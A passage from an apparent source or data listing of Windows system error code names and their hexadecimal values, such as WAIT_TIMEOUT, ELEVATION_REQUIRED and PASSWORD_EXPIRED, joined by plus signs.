META_EXPANSION_TOO_LONG = 0x00D0 + INVALID_SIGNAL_NUMBER = 0x00D1 + THREAD_1_INACTIVE = 0x00D2 + LOCKED = 0x00D4 + TOO_MANY_MODULES = 0x00D6 + NESTING_NOT_ALLOWED = 0x00D7 + EXE_MACHINE_TYPE_MISMATCH = 0x00D8 + EXE_CANNOT_MODIFY_SIGNED_BINARY = 0x00D9 + EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY = 0x00DA + FILE_CHECKED_OUT = 0x00DC + CHECKOUT_REQUIRED = 0x00DD + BAD_FILE_TYPE = 0x00DE + FILE_TOO_LARGE = 0x00DF + FORMS_AUTH_REQUIRED = 0x00E0 + VIRUS_INFECTED = 0x00E1 + VIRUS_DELETED = 0x00E2 + PIPE_LOCAL = 0x00E5 + BAD_PIPE = 0x00E6 + PIPE_BUSY = 0x00E7 + NO_DATA = 0x00E8 + PIPE_NOT_CONNECTED = 0x00E9 + MORE_DATA = 0x00EA + VC_DISCONNECTED = 0x00F0 + INVALID_EA_NAME = 0x00FE + EA_LIST_INCONSISTENT = 0x00FF + WAIT_TIMEOUT = 0x0102 + NO_MORE_ITEMS = 0x0103 + CANNOT_COPY = 0x010A + DIRECTORY = 0x010B + EAS_DIDNT_FIT = 0x0113 + EA_FILE_CORRUPT = 0x0114 + EA_TABLE_FULL = 0x0115 + INVALID_EA_HANDLE = 0x0116 + EAS_NOT_SUPPORTED = 0x011A + NOT_OWNER = 0x0120 + TOO_MANY_POSTS = 0x012A + PARTIAL_COPY = 0x012B + OPLOCK_NOT_GRANTED = 0x012C + INVALID_OPLOCK_PROTOCOL = 0x012D + DISK_TOO_FRAGMENTED = 0x012E + DELETE_PENDING = 0x012F + INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING = 0x0130 + SHORT_NAMES_NOT_ENABLED_ON_VOLUME = 0x0131 + SECURITY_STREAM_IS_INCONSISTENT = 0x0132 + INVALID_LOCK_RANGE = 0x0133 + IMAGE_SUBSYSTEM_NOT_PRESENT = 0x0134 + NOTIFICATION_GUID_ALREADY_DEFINED = 0x0135 + MR_MID_NOT_FOUND = 0x013D + SCOPE_NOT_FOUND = 0x013E + FAIL_NOACTION_REBOOT = 0x015E + FAIL_SHUTDOWN = 0x015F + FAIL_RESTART = 0x0160 + MAX_SESSIONS_REACHED = 0x0161 + THREAD_MODE_ALREADY_BACKGROUND = 0x0190 + THREAD_MODE_NOT_BACKGROUND = 0x0191 + PROCESS_MODE_ALREADY_BACKGROUND = 0x0192 + PROCESS_MODE_NOT_BACKGROUND = 0x0193 + INVALID_ADDRESS = 0x01E7 + USER_PROFILE_LOAD = 0x01F4 + ARITHMETIC_OVERFLOW = 0x0216 + PIPE_CONNECTED = 0x0217 + PIPE_LISTENING = 0x0218 + VERIFIER_STOP = 0x0219 + ABIOS_ERROR = 0x021A + WX86_WARNING = 0x021B + WX86_ERROR = 0x021C + TIMER_NOT_CANCELED = 0x021D + UNWIND = 0x021E + BAD_STACK = 0x021F + INVALID_UNWIND_TARGET = 0x0220 + INVALID_PORT_ATTRIBUTES = 0x0221 + PORT_MESSAGE_TOO_LONG = 0x0222 + INVALID_QUOTA_LOWER = 0x0223 + DEVICE_ALREADY_ATTACHED = 0x0224 + INSTRUCTION_MISALIGNMENT = 0x0225 + PROFILING_NOT_STARTED = 0x0226 + PROFILING_NOT_STOPPED = 0x0227 + COULD_NOT_INTERPRET = 0x0228 + PROFILING_AT_LIMIT = 0x0229 + CANT_WAIT = 0x022A + CANT_TERMINATE_SELF = 0x022B + UNEXPECTED_MM_CREATE_ERR = 0x022C + UNEXPECTED_MM_MAP_ERROR = 0x022D + UNEXPECTED_MM_EXTEND_ERR = 0x022E + BAD_FUNCTION_TABLE = 0x022F + NO_GUID_TRANSLATION = 0x0230 + INVALID_LDT_SIZE = 0x0231 + INVALID_LDT_OFFSET = 0x0233 + INVALID_LDT_DESCRIPTOR = 0x0234 + TOO_MANY_THREADS = 0x0235 + THREAD_NOT_IN_PROCESS = 0x0236 + PAGEFILE_QUOTA_EXCEEDED = 0x0237 + LOGON_SERVER_CONFLICT = 0x0238 + SYNCHRONIZATION_REQUIRED = 0x0239 + NET_OPEN_FAILED = 0x023A + IO_PRIVILEGE_FAILED = 0x023B + CONTROL_C_EXIT = 0x023C + MISSING_SYSTEMFILE = 0x023D + UNHANDLED_EXCEPTION = 0x023E + APP_INIT_FAILURE = 0x023F + PAGEFILE_CREATE_FAILED = 0x0240 + INVALID_IMAGE_HASH = 0x0241 + NO_PAGEFILE = 0x0242 + ILLEGAL_FLOAT_CONTEXT = 0x0243 + NO_EVENT_PAIR = 0x0244 + DOMAIN_CTRLR_CONFIG_ERROR = 0x0245 + ILLEGAL_CHARACTER = 0x0246 + UNDEFINED_CHARACTER = 0x0247 + FLOPPY_VOLUME = 0x0248 + BIOS_FAILED_TO_CONNECT_INTERRUPT = 0x0249 + BACKUP_CONTROLLER = 0x024A + MUTANT_LIMIT_EXCEEDED = 0x024B + FS_DRIVER_REQUIRED = 0x024C + CANNOT_LOAD_REGISTRY_FILE = 0x024D + DEBUG_ATTACH_FAILED = 0x024E + SYSTEM_PROCESS_TERMINATED = 0x024F + DATA_NOT_ACCEPTED = 0x0250 + VDM_HARD_ERROR = 0x0251 + DRIVER_CANCEL_TIMEOUT = 0x0252 + REPLY_MESSAGE_MISMATCH = 0x0253 + LOST_WRITEBEHIND_DATA = 0x0254 + CLIENT_SERVER_PARAMETERS_INVALID = 0x0255 + NOT_TINY_STREAM = 0x0256 + STACK_OVERFLOW_READ = 0x0257 + CONVERT_TO_LARGE = 0x0258 + FOUND_OUT_OF_SCOPE = 0x0259 + ALLOCATE_BUCKET = 0x025A + MARSHALL_OVERFLOW = 0x025B + INVALID_VARIANT = 0x025C + BAD_COMPRESSION_BUFFER = 0x025D + AUDIT_FAILED = 0x025E + TIMER_RESOLUTION_NOT_SET = 0x025F + INSUFFICIENT_LOGON_INFO = 0x0260 + BAD_DLL_ENTRYPOINT = 0x0261 + BAD_SERVICE_ENTRYPOINT = 0x0262 + IP_ADDRESS_CONFLICT1 = 0x0263 + IP_ADDRESS_CONFLICT2 = 0x0264 + REGISTRY_QUOTA_LIMIT = 0x0265 + NO_CALLBACK_ACTIVE = 0x0266 + PWD_TOO_SHORT = 0x0267 + PWD_TOO_RECENT = 0x0268 + PWD_HISTORY_CONFLICT = 0x0269 + UNSUPPORTED_COMPRESSION = 0x026A + INVALID_HW_PROFILE = 0x026B + INVALID_PLUGPLAY_DEVICE_PATH = 0x026C + QUOTA_LIST_INCONSISTENT = 0x026D + EVALUATION_EXPIRATION = 0x026E + ILLEGAL_DLL_RELOCATION = 0x026F + DLL_INIT_FAILED_LOGOFF = 0x0270 + VALIDATE_CONTINUE = 0x0271 + NO_MORE_MATCHES = 0x0272 + RANGE_LIST_CONFLICT = 0x0273 + SERVER_SID_MISMATCH = 0x0274 + CANT_ENABLE_DENY_ONLY = 0x0275 + FLOAT_MULTIPLE_FAULTS = 0x0276 + FLOAT_MULTIPLE_TRAPS = 0x0277 + NOINTERFACE = 0x0278 + DRIVER_FAILED_SLEEP = 0x0279 + CORRUPT_SYSTEM_FILE = 0x027A + COMMITMENT_MINIMUM = 0x027B + PNP_RESTART_ENUMERATION = 0x027C + SYSTEM_IMAGE_BAD_SIGNATURE = 0x027D + PNP_REBOOT_REQUIRED = 0x027E + INSUFFICIENT_POWER = 0x027F + MULTIPLE_FAULT_VIOLATION = 0x0280 + SYSTEM_SHUTDOWN = 0x0281 + PORT_NOT_SET = 0x0282 + DS_VERSION_CHECK_FAILURE = 0x0283 + RANGE_NOT_FOUND = 0x0284 + NOT_SAFE_MODE_DRIVER = 0x0286 + FAILED_DRIVER_ENTRY = 0x0287 + DEVICE_ENUMERATION_ERROR = 0x0288 + MOUNT_POINT_NOT_RESOLVED = 0x0289 + INVALID_DEVICE_OBJECT_PARAMETER = 0x028A + MCA_OCCURED = 0x028B + DRIVER_DATABASE_ERROR = 0x028C + SYSTEM_HIVE_TOO_LARGE = 0x028D + DRIVER_FAILED_PRIOR_UNLOAD = 0x028E + VOLSNAP_PREPARE_HIBERNATE = 0x028F + HIBERNATION_FAILURE = 0x0290 + FILE_SYSTEM_LIMITATION = 0x0299 + ASSERTION_FAILURE = 0x029C + ACPI_ERROR = 0x029D + WOW_ASSERTION = 0x029E + PNP_BAD_MPS_TABLE = 0x029F + PNP_TRANSLATION_FAILED = 0x02A0 + PNP_IRQ_TRANSLATION_FAILED = 0x02A1 + PNP_INVALID_ID = 0x02A2 + WAKE_SYSTEM_DEBUGGER = 0x02A3 + HANDLES_CLOSED = 0x02A4 + EXTRANEOUS_INFORMATION = 0x02A5 + RXACT_COMMIT_NECESSARY = 0x02A6 + MEDIA_CHECK = 0x02A7 + GUID_SUBSTITUTION_MADE = 0x02A8 + STOPPED_ON_SYMLINK = 0x02A9 + LONGJUMP = 0x02AA + PLUGPLAY_QUERY_VETOED = 0x02AB + UNWIND_CONSOLIDATE = 0x02AC + REGISTRY_HIVE_RECOVERED = 0x02AD + DLL_MIGHT_BE_INSECURE = 0x02AE + DLL_MIGHT_BE_INCOMPATIBLE = 0x02AF + DBG_EXCEPTION_NOT_HANDLED = 0x02B0 + DBG_REPLY_LATER = 0x02B1 + DBG_UNABLE_TO_PROVIDE_HANDLE = 0x02B2 + DBG_TERMINATE_THREAD = 0x02B3 + DBG_TERMINATE_PROCESS = 0x02B4 + DBG_CONTROL_C = 0x02B5 + DBG_PRINTEXCEPTION_C = 0x02B6 + DBG_RIPEXCEPTION = 0x02B7 + DBG_CONTROL_BREAK = 0x02B8 + DBG_COMMAND_EXCEPTION = 0x02B9 + OBJECT_NAME_EXISTS = 0x02BA + THREAD_WAS_SUSPENDED = 0x02BB + IMAGE_NOT_AT_BASE = 0x02BC + RXACT_STATE_CREATED = 0x02BD + SEGMENT_NOTIFICATION = 0x02BE + BAD_CURRENT_DIRECTORY = 0x02BF + FT_READ_RECOVERY_FROM_BACKUP = 0x02C0 + FT_WRITE_RECOVERY = 0x02C1 + IMAGE_MACHINE_TYPE_MISMATCH = 0x02C2 + RECEIVE_PARTIAL = 0x02C3 + RECEIVE_EXPEDITED = 0x02C4 + RECEIVE_PARTIAL_EXPEDITED = 0x02C5 + EVENT_DONE = 0x02C6 + EVENT_PENDING = 0x02C7 + CHECKING_FILE_SYSTEM = 0x02C8 + FATAL_APP_EXIT = 0x02C9 + PREDEFINED_HANDLE = 0x02CA + WAS_UNLOCKED = 0x02CB + SERVICE_NOTIFICATION = 0x02CC + WAS_LOCKED = 0x02CD + LOG_HARD_ERROR = 0x02CE + ALREADY_WIN32 = 0x02CF + IMAGE_MACHINE_TYPE_MISMATCH_EXE = 0x02D0 + NO_YIELD_PERFORMED = 0x02D1 + TIMER_RESUME_IGNORED = 0x02D2 + ARBITRATION_UNHANDLED = 0x02D3 + CARDBUS_NOT_SUPPORTED = 0x02D4 + MP_PROCESSOR_MISMATCH = 0x02D5 + HIBERNATED = 0x02D6 + RESUME_HIBERNATION = 0x02D7 + FIRMWARE_UPDATED = 0x02D8 + DRIVERS_LEAKING_LOCKED_PAGES = 0x02D9 + WAKE_SYSTEM = 0x02DA + WAIT_1 = 0x02DB + WAIT_2 = 0x02DC + WAIT_3 = 0x02DD + WAIT_63 = 0x02DE + ABANDONED_WAIT_0 = 0x02DF + ABANDONED_WAIT_63 = 0x02E0 + USER_APC = 0x02E1 + KERNEL_APC = 0x02E2 + ALERTED = 0x02E3 + ELEVATION_REQUIRED = 0x02E4 + REPARSE = 0x02E5 + OPLOCK_BREAK_IN_PROGRESS = 0x02E6 + VOLUME_MOUNTED = 0x02E7 + RXACT_COMMITTED = 0x02E8 + NOTIFY_CLEANUP = 0x02E9 + PRIMARY_TRANSPORT_CONNECT_FAILED = 0x02EA + PAGE_FAULT_TRANSITION = 0x02EB + PAGE_FAULT_DEMAND_ZERO = 0x02EC + PAGE_FAULT_COPY_ON_WRITE = 0x02ED + PAGE_FAULT_GUARD_PAGE = 0x02EE + PAGE_FAULT_PAGING_FILE = 0x02EF + CACHE_PAGE_LOCKED = 0x02F0 + CRASH_DUMP = 0x02F1 + BUFFER_ALL_ZEROS = 0x02F2 + REPARSE_OBJECT = 0x02F3 + RESOURCE_REQUIREMENTS_CHANGED = 0x02F4 + TRANSLATION_COMPLETE = 0x02F5 + NOTHING_TO_TERMINATE = 0x02F6 + PROCESS_NOT_IN_JOB = 0x02F7 + PROCESS_IN_JOB = 0x02F8 + VOLSNAP_HIBERNATE_READY = 0x02F9 + FSFILTER_OP_COMPLETED_SUCCESSFULLY = 0x02FA + INTERRUPT_VECTOR_ALREADY_CONNECTED = 0x02FB + INTERRUPT_STILL_CONNECTED = 0x02FC + WAIT_FOR_OPLOCK = 0x02FD + DBG_EXCEPTION_HANDLED = 0x02FE + DBG_CONTINUE = 0x02FF + CALLBACK_POP_STACK = 0x0300 + COMPRESSION_DISABLED = 0x0301 + CANTFETCHBACKWARDS = 0x0302 + CANTSCROLLBACKWARDS = 0x0303 + ROWSNOTRELEASED = 0x0304 + BAD_ACCESSOR_FLAGS = 0x0305 + ERRORS_ENCOUNTERED = 0x0306 + NOT_CAPABLE = 0x0307 + REQUEST_OUT_OF_SEQUENCE = 0x0308 + VERSION_PARSE_ERROR = 0x0309 + BADSTARTPOSITION = 0x030A + MEMORY_HARDWARE = 0x030B + DISK_REPAIR_DISABLED = 0x030C + INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE = 0x030D + SYSTEM_POWERSTATE_TRANSITION = 0x030E + SYSTEM_POWERSTATE_COMPLEX_TRANSITION = 0x030F + MCA_EXCEPTION = 0x0310 + ACCESS_AUDIT_BY_POLICY = 0x0311 + ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY = 0x0312 + ABANDON_HIBERFILE = 0x0313 + LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED = 0x0314 + LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR = 0x0315 + LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR = 0x0316 + BAD_MCFG_TABLE = 0x0317 + OPLOCK_SWITCHED_TO_NEW_HANDLE = 0x0320 + CANNOT_GRANT_REQUESTED_OPLOCK = 0x0321 + CANNOT_BREAK_OPLOCK = 0x0322 + OPLOCK_HANDLE_CLOSED = 0x0323 + NO_ACE_CONDITION = 0x0324 + INVALID_ACE_CONDITION = 0x0325 + EA_ACCESS_DENIED = 0x03E2 + OPERATION_ABORTED = 0x03E3 + IO_INCOMPLETE = 0x03E4 + IO_PENDING = 0x03E5 + NOACCESS = 0x03E6 + SWAPERROR = 0x03E7 + STACK_OVERFLOW = 0x03E9 + INVALID_MESSAGE = 0x03EA + CAN_NOT_COMPLETE = 0x03EB + INVALID_FLAGS = 0x03EC + UNRECOGNIZED_VOLUME = 0x03ED + FILE_INVALID = 0x03EE + FULLSCREEN_MODE = 0x03EF + NO_TOKEN = 0x03F0 + BADDB = 0x03F1 + BADKEY = 0x03F2 + CANTOPEN = 0x03F3 + CANTREAD = 0x03F4 + CANTWRITE = 0x03F5 + REGISTRY_RECOVERED = 0x03F6 + REGISTRY_CORRUPT = 0x03F7 + REGISTRY_IO_FAILED = 0x03F8 + NOT_REGISTRY_FILE = 0x03F9 + KEY_DELETED = 0x03FA + NO_LOG_SPACE = 0x03FB + KEY_HAS_CHILDREN = 0x03FC + CHILD_MUST_BE_VOLATILE = 0x03FD + NOTIFY_ENUM_DIR = 0x03FE + DEPENDENT_SERVICES_RUNNING = 0x041B + INVALID_SERVICE_CONTROL = 0x041C + SERVICE_REQUEST_TIMEOUT = 0x041D + SERVICE_NO_THREAD = 0x041E + SERVICE_DATABASE_LOCKED = 0x041F + SERVICE_ALREADY_RUNNING = 0x0420 + INVALID_SERVICE_ACCOUNT = 0x0421 + SERVICE_DISABLED = 0x0422 + CIRCULAR_DEPENDENCY = 0x0423 + SERVICE_DOES_NOT_EXIST = 0x0424 + SERVICE_CANNOT_ACCEPT_CTRL = 0x0425 + SERVICE_NOT_ACTIVE = 0x0426 + FAILED_SERVICE_CONTROLLER_CONNECT = 0x0427 + EXCEPTION_IN_SERVICE = 0x0428 + DATABASE_DOES_NOT_EXIST = 0x0429 + SERVICE_SPECIFIC_ERROR = 0x042A + PROCESS_ABORTED = 0x042B + SERVICE_DEPENDENCY_FAIL = 0x042C + SERVICE_LOGON_FAILED = 0x042D + SERVICE_START_HANG = 0x042E + INVALID_SERVICE_LOCK = 0x042F + SERVICE_MARKED_FOR_DELETE = 0x0430 + SERVICE_EXISTS = 0x0431 + ALREADY_RUNNING_LKG = 0x0432 + SERVICE_DEPENDENCY_DELETED = 0x0433 + BOOT_ALREADY_ACCEPTED = 0x0434 + SERVICE_NEVER_STARTED = 0x0435 + DUPLICATE_SERVICE_NAME = 0x0436 + DIFFERENT_SERVICE_ACCOUNT = 0x0437 + CANNOT_DETECT_DRIVER_FAILURE = 0x0438 + CANNOT_DETECT_PROCESS_ABORT = 0x0439 + NO_RECOVERY_PROGRAM = 0x043A + SERVICE_NOT_IN_EXE = 0x043B + NOT_SAFEBOOT_SERVICE = 0x043C + END_OF_MEDIA = 0x044C + FILEMARK_DETECTED = 0x044D + BEGINNING_OF_MEDIA = 0x044E + SETMARK_DETECTED = 0x044F + NO_DATA_DETECTED = 0x0450 + PARTITION_FAILURE = 0x0451 + INVALID_BLOCK_LENGTH = 0x0452 + DEVICE_NOT_PARTITIONED = 0x0453 + UNABLE_TO_LOCK_MEDIA = 0x0454 + UNABLE_TO_UNLOAD_MEDIA = 0x0455 + MEDIA_CHANGED = 0x0456 + BUS_RESET = 0x0457 + NO_MEDIA_IN_DRIVE = 0x0458 + NO_UNICODE_TRANSLATION = 0x0459 + DLL_INIT_FAILED = 0x045A + SHUTDOWN_IN_PROGRESS = 0x045B + NO_SHUTDOWN_IN_PROGRESS = 0x045C + IO_DEVICE = 0x045D + SERIAL_NO_DEVICE = 0x045E + IRQ_BUSY = 0x045F + MORE_WRITES = 0x0460 + COUNTER_TIMEOUT = 0x0461 + FLOPPY_ID_MARK_NOT_FOUND = 0x0462 + FLOPPY_WRONG_CYLINDER = 0x0463 + FLOPPY_UNKNOWN_ERROR = 0x0464 + FLOPPY_BAD_REGISTERS = 0x0465 + DISK_RECALIBRATE_FAILED = 0x0466 + DISK_OPERATION_FAILED = 0x0467 + DISK_RESET_FAILED = 0x0468 + EOM_OVERFLOW = 0x0469 + NOT_ENOUGH_SERVER_MEMORY = 0x046A + POSSIBLE_DEADLOCK = 0x046B + MAPPED_ALIGNMENT = 0x046C + SET_POWER_STATE_VETOED = 0x0474 + SET_POWER_STATE_FAILED = 0x0475 + TOO_MANY_LINKS = 0x0476 + OLD_WIN_VERSION = 0x047E + APP_WRONG_OS = 0x047F + SINGLE_INSTANCE_APP = 0x0480 + RMODE_APP = 0x0481 + INVALID_DLL = 0x0482 + NO_ASSOCIATION = 0x0483 + DDE_FAIL = 0x0484 + DLL_NOT_FOUND = 0x0485 + NO_MORE_USER_HANDLES = 0x0486 + MESSAGE_SYNC_ONLY = 0x0487 + SOURCE_ELEMENT_EMPTY = 0x0488 + DESTINATION_ELEMENT_FULL = 0x0489 + ILLEGAL_ELEMENT_ADDRESS = 0x048A + MAGAZINE_NOT_PRESENT = 0x048B + DEVICE_REINITIALIZATION_NEEDED = 0x048C + DEVICE_REQUIRES_CLEANING = 0x048D + DEVICE_DOOR_OPEN = 0x048E + DEVICE_NOT_CONNECTED = 0x048F + NOT_FOUND = 0x0490 + NO_MATCH = 0x0491 + SET_NOT_FOUND = 0x0492 + POINT_NOT_FOUND = 0x0493 + NO_TRACKING_SERVICE = 0x0494 + NO_VOLUME_ID = 0x0495 + UNABLE_TO_REMOVE_REPLACED = 0x0497 + UNABLE_TO_MOVE_REPLACEMENT = 0x0498 + UNABLE_TO_MOVE_REPLACEMENT_2 = 0x0499 + JOURNAL_DELETE_IN_PROGRESS = 0x049A + JOURNAL_NOT_ACTIVE = 0x049B + POTENTIAL_FILE_FOUND = 0x049C + JOURNAL_ENTRY_DELETED = 0x049D + SHUTDOWN_IS_SCHEDULED = 0x04A6 + SHUTDOWN_USERS_LOGGED_ON = 0x04A7 + BAD_DEVICE = 0x04B0 + CONNECTION_UNAVAIL = 0x04B1 + DEVICE_ALREADY_REMEMBERED = 0x04B2 + NO_NET_OR_BAD_PATH = 0x04B3 + BAD_PROVIDER = 0x04B4 + CANNOT_OPEN_PROFILE = 0x04B5 + BAD_PROFILE = 0x04B6 + NOT_CONTAINER = 0x04B7 + EXTENDED_ERROR = 0x04B8 + INVALID_GROUPNAME = 0x04B9 + INVALID_COMPUTERNAME = 0x04BA + INVALID_EVENTNAME = 0x04BB + INVALID_DOMAINNAME = 0x04BC + INVALID_SERVICENAME = 0x04BD + INVALID_NETNAME = 0x04BE + INVALID_SHARENAME = 0x04BF + INVALID_PASSWORDNAME = 0x04C0 + INVALID_MESSAGENAME = 0x04C1 + INVALID_MESSAGEDEST = 0x04C2 + SESSION_CREDENTIAL_CONFLICT = 0x04C3 + REMOTE_SESSION_LIMIT_EXCEEDED = 0x04C4 + DUP_DOMAINNAME = 0x04C5 + NO_NETWORK = 0x04C6 + CANCELLED = 0x04C7 + USER_MAPPED_FILE = 0x04C8 + CONNECTION_REFUSED = 0x04C9 + GRACEFUL_DISCONNECT = 0x04CA + ADDRESS_ALREADY_ASSOCIATED = 0x04CB + ADDRESS_NOT_ASSOCIATED = 0x04CC + CONNECTION_INVALID = 0x04CD + CONNECTION_ACTIVE = 0x04CE + NETWORK_UNREACHABLE = 0x04CF + HOST_UNREACHABLE = 0x04D0 + PROTOCOL_UNREACHABLE = 0x04D1 + PORT_UNREACHABLE = 0x04D2 + REQUEST_ABORTED = 0x04D3 + CONNECTION_ABORTED = 0x04D4 + RETRY = 0x04D5 + CONNECTION_COUNT_LIMIT = 0x04D6 + LOGIN_TIME_RESTRICTION = 0x04D7 + LOGIN_WKSTA_RESTRICTION = 0x04D8 + INCORRECT_ADDRESS = 0x04D9 + ALREADY_REGISTERED = 0x04DA + SERVICE_NOT_FOUND = 0x04DB + NOT_AUTHENTICATED = 0x04DC + NOT_LOGGED_ON = 0x04DD + CONTINUE = 0x04DE + ALREADY_INITIALIZED = 0x04DF + NO_MORE_DEVICES = 0x04E0 + NO_SUCH_SITE = 0x04E1 + DOMAIN_CONTROLLER_EXISTS = 0x04E2 + ONLY_IF_CONNECTED = 0x04E3 + OVERRIDE_NOCHANGES = 0x04E4 + BAD_USER_PROFILE = 0x04E5 + NOT_SUPPORTED_ON_SBS = 0x04E6 + SERVER_SHUTDOWN_IN_PROGRESS = 0x04E7 + HOST_DOWN = 0x04E8 + NON_ACCOUNT_SID = 0x04E9 + NON_DOMAIN_SID = 0x04EA + APPHELP_BLOCK = 0x04EB + ACCESS_DISABLED_BY_POLICY = 0x04EC + REG_NAT_CONSUMPTION = 0x04ED + CSCSHARE_OFFLINE = 0x04EE + PKINIT_FAILURE = 0x04EF + SMARTCARD_SUBSYSTEM_FAILURE = 0x04F0 + DOWNGRADE_DETECTED = 0x04F1 + MACHINE_LOCKED = 0x04F7 + CALLBACK_SUPPLIED_INVALID_DATA = 0x04F9 + SYNC_FOREGROUND_REFRESH_REQUIRED = 0x04FA + DRIVER_BLOCKED = 0x04FB + INVALID_IMPORT_OF_NON_DLL = 0x04FC + ACCESS_DISABLED_WEBBLADE = 0x04FD + ACCESS_DISABLED_WEBBLADE_TAMPER = 0x04FE + RECOVERY_FAILURE = 0x04FF + ALREADY_FIBER = 0x0500 + ALREADY_THREAD = 0x0501 + STACK_BUFFER_OVERRUN = 0x0502 + PARAMETER_QUOTA_EXCEEDED = 0x0503 + DEBUGGER_INACTIVE = 0x0504 + DELAY_LOAD_FAILED = 0x0505 + VDM_DISALLOWED = 0x0506 + UNIDENTIFIED_ERROR = 0x0507 + INVALID_CRUNTIME_PARAMETER = 0x0508 + BEYOND_VDL = 0x0509 + INCOMPATIBLE_SERVICE_SID_TYPE = 0x050A + DRIVER_PROCESS_TERMINATED = 0x050B + IMPLEMENTATION_LIMIT = 0x050C + PROCESS_IS_PROTECTED = 0x050D + SERVICE_NOTIFY_CLIENT_LAGGING = 0x050E + DISK_QUOTA_EXCEEDED = 0x050F + CONTENT_BLOCKED = 0x0510 + INCOMPATIBLE_SERVICE_PRIVILEGE = 0x0511 + INVALID_LABEL = 0x0513 + NOT_ALL_ASSIGNED = 0x0514 + SOME_NOT_MAPPED = 0x0515 + NO_QUOTAS_FOR_ACCOUNT = 0x0516 + LOCAL_USER_SESSION_KEY = 0x0517 + NULL_LM_PASSWORD = 0x0518 + UNKNOWN_REVISION = 0x0519 + REVISION_MISMATCH = 0x051A + INVALID_OWNER = 0x051B + INVALID_PRIMARY_GROUP = 0x051C + NO_IMPERSONATION_TOKEN = 0x051D + CANT_DISABLE_MANDATORY = 0x051E + NO_LOGON_SERVERS = 0x051F + NO_SUCH_LOGON_SESSION = 0x0520 + NO_SUCH_PRIVILEGE = 0x0521 + PRIVILEGE_NOT_HELD = 0x0522 + INVALID_ACCOUNT_NAME = 0x0523 + USER_EXISTS = 0x0524 + NO_SUCH_USER = 0x0525 + GROUP_EXISTS = 0x0526 + NO_SUCH_GROUP = 0x0527 + MEMBER_IN_GROUP = 0x0528 + MEMBER_NOT_IN_GROUP = 0x0529 + LAST_ADMIN = 0x052A + WRONG_PASSWORD = 0x052B + ILL_FORMED_PASSWORD = 0x052C + PASSWORD_RESTRICTION = 0x052D + LOGON_FAILURE = 0x052E + ACCOUNT_RESTRICTION = 0x052F + INVALID_LOGON_HOURS = 0x0530 + INVALID_WORKSTATION = 0x0531 + PASSWORD_EXPIRED = 0x0532 + ACCOUNT_DISABLED = 0x0533 + NONE_MAPPED = 0x0534 + TOO_MANY_LUIDS_REQUESTED = 0x0535 + LUIDS_EXHAUSTED = 0x0536 + INVALID_SUB_AUTHORITY = 0x0537 + INVALID_ACL = 0x0538 + INVALID_SID = 0x0539 + INVALID_SECURITY_DESCR = 0x053A + BAD_INHERITANCE_ACL = 0x053C + SERVER_DISABLED = 0x053D + SERVER_NOT_DISABLED = 0x053E + INVALID_ID_AUTHORITY = 0x053F + ALLOTTED_SPACE_EXCEEDED = 0x0540 + INVALID_GROUP_ATTRIBUTES = 0x0541 + BAD_IMPERSONATION_LEVEL = 0x0542 + CANT_OPEN_ANONYMOUS = 0x0543 + BAD_VALIDATION_CLASS = 0x0544 + BAD_TOKEN_TYPE = 0x0545 + NO_SECURITY_ON_OBJECT = 0x0546 + CANT_ACCESS_DOMAIN_INFO = 0x0547 + INVALID_SERVER_STATE = 0x0548 + INVALID_DOMAIN_STATE = 0x0549 + INVALID_DOMAIN_ROLE = 0x054A + NO_SUCH_DOMAIN = 0x054B + DOMAIN_EXISTS = 0x054C + DOMAIN_LIMIT_EXCEEDED = 0x054D + INTERNAL_DB_CORRUPTION = 0x054E + INTERNAL_ERROR = 0x054F + GENERIC_NOT_MAPPED = 0x0550 + BAD_DESCRIPTOR_FORMAT = 0x0551 + NOT_LOGON_PROCESS = 0x0552 + LOGON_SESSION_EXISTS = 0x0553 + NO_SUCH_PACKAGE = 0x0554 + BAD_LOGON_SESSION_STATE = 0x0555 + LOGON_SESSION_COLLISION = 0x0556 + INVALID_LOGON_TYPE = 0x0557 + CANNOT_IMPERSONATE = 0x0558 + RXACT_INVALID_STATE = 0x0559 + RXACT_COMMIT_FAILURE = 0x055A + SPECIAL_ACCOUNT = 0x055B + SPECIAL_GROUP = 0x055C + SPECIAL_USER = 0x055D + MEMBERS_PRIMARY_GROUP = 0x055E + TOKEN_ALREADY_IN_USE = 0x055F + NO_SUCH_ALIAS = 0x0560 + MEMBER_NOT_IN_ALIAS = 0x0561 + MEMBER_IN_ALIAS = 0x0562 + ALIAS_EXISTS = 0x0563 + LOGON_NOT_GRANTED = 0x0564 + TOO_MANY_SECRETS = 0x0565 + SECRET_TOO_LONG = 0x0566 + INTERNAL_DB_ERROR = 0x0567 + TOO_MANY_CONTEXT_IDS = 0x0568 + LOGON_TYPE_NOT_GRANTED = 0x0569 + NT_CROSS_ENCRYPTION_REQUIRED = 0x056A + NO_SUCH_MEMBER = 0x056B + INVALID_MEMBER = 0x056C + TOO_MANY_SIDS = 0x056D + LM_CROSS_ENCRYPTION_REQUIRED = 0x056E + NO_INHERITANCE = 0x056F + FILE_CORRUPT = 0x0570 + DISK_CORRUPT = 0x0571 + NO_USER_SESSION_KEY = 0x0572 + LICENSE_QUOTA_EXCEEDED = 0x0573 + WRONG_TARGET_NAME = 0x0574 + MUTUAL_AUTH_FAILED = 0x0575 + TIME_SKEW = 0x0576 + CURRENT_DOMAIN_NOT_ALLOWED = 0x0577 + INVALID_WINDOW_HANDLE = 0x0578 + INVALID_MENU_HANDLE = 0x0579 + INVALID_CURSOR_HANDLE = 0x057A + INVALID_ACCEL_HANDLE = 0x057B + INVALID_HOOK_HANDLE = 0x057C + INVALID_DWP_HANDLE = 0x057D + TLW_WITH_WSCHILD = 0x057E + CANNOT_FIND_WND_CLASS = 0x057F + WINDOW_OF_OTHER_THREAD = 0x0580 + HOTKEY_ALREADY_REGISTERED = 0x0581 + CLASS_ALREADY_EXISTS = 0x0582 + CLASS_DOES_NOT_EXIST = 0x0583 + CLASS_HAS_WINDOWS = 0x0584 + INVALID_INDEX = 0x0585 + INVALID_ICON_HANDLE = 0x0586 + PRIVATE_DIALOG_INDEX = 0x0587 + LISTBOX_ID_NOT_FOUND = 0x0588 + NO_WILDCARD_CHARACTERS = 0x0589 + CLIPBOARD_NOT_OPEN = 0x058A + HOTKEY_NOT_REGISTERED = 0x058B + 